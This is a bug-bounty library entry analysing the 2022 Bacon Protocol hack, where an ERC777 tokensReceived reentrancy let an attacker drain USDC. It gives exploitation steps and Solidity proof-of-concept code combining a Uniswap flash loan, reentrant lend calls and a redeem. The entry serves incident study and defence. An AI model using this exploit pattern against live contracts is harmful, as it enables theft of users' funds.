# Bacon Protocol: reentrancy in lend/redeem drains USDC

Bacon Protocol's lend/redeem reentrancy via ERC777 tokensReceived hook let attacker repeatedly lend and redeem, draining USDC from the protocol.

- Payout: Real-world hack
- Severity: high
- Program: Bacon Protocol
- Analysis by: DeFiHackLabs
- Disclosed: 2022-03-05
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-03/Bacon_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220305-bacon
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:reentrancy

**Target:** Bacon Protocol lending contract (IBacon) on Ethereum mainnet
**Root cause:** The lend function mints/transfers an ERC777 token which triggers tokensReceived callback before state is finalized, allowing reentrant calls to lend and redeem to manipulate balances.
**Steps:**
1. Flash loan 6,360,000 USDC from Uniswap V2 pair via `pair.swap(6_360_000_000_000, 0, address(this), new bytes(1))`.
2. In uniswapV2Call, approve Bacon contract to spend USDC: `usdc.approve(address(bacon), 10_000_000_000_000_000_000)`.
3. Call `bacon.lend(2_120_000_000_000)` to deposit USDC and receive Bacon tokens (ERC777).
4. ERC777 tokensReceived hook triggers; reenter `bacon.lend(2_120_000_000_000)` twice (count <= 2).
5. Call `bacon.redeem(bacon.balanceOf(address(this)))` to withdraw all USDC.
6. Repay flash loan: `usdc.transfer(msg.sender, ((amount0 / 997) * 1000) + 10 ** usdc.decimals())`.
7. Transfer remaining USDC to attacker: `usdc.transfer(tx.origin, usdc.balanceOf(address(this)))`.
**Exploitation:** Attacker used a Uniswap V2 flash loan to obtain USDC, deposited into Bacon via lend, and exploited the ERC777 tokensReceived callback to reenter lend multiple times, inflating balance, then redeemed all for more USDC than deposited, repaying flash loan and keeping profit.
**Insight:** ERC777 tokensReceived hooks can reenter lending contracts that mint/transfer tokens before updating state; check for reentrancy guards on lend/redeem functions when ERC777 is used.

## Proof of concept (copied exactly from the original report)

**Uniswap flash-swap callback lending and redeeming Bacon**

```
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        usdc.approve(address(bacon), 10_000_000_000_000_000_000);
        bacon.lend(2_120_000_000_000);
        bacon.redeem(bacon.balanceOf(address(this)));
        usdc.transfer(msg.sender, ((amount0 / 997) * 1000) + 10 ** usdc.decimals());
        usdc.transfer(tx.origin, usdc.balanceOf(address(this)));
    }
```

**Reentrant lend inside ERC777 tokensReceived hook**

```
function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) public {
        count += 1;
        if (count <= 2) {
            bacon.lend(2_120_000_000_000);
        }
    }
```

**Flash swap triggering the exploit**

```
pair.swap(6_360_000_000_000, 0, address(this), new bytes(1));

        emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
    }
```

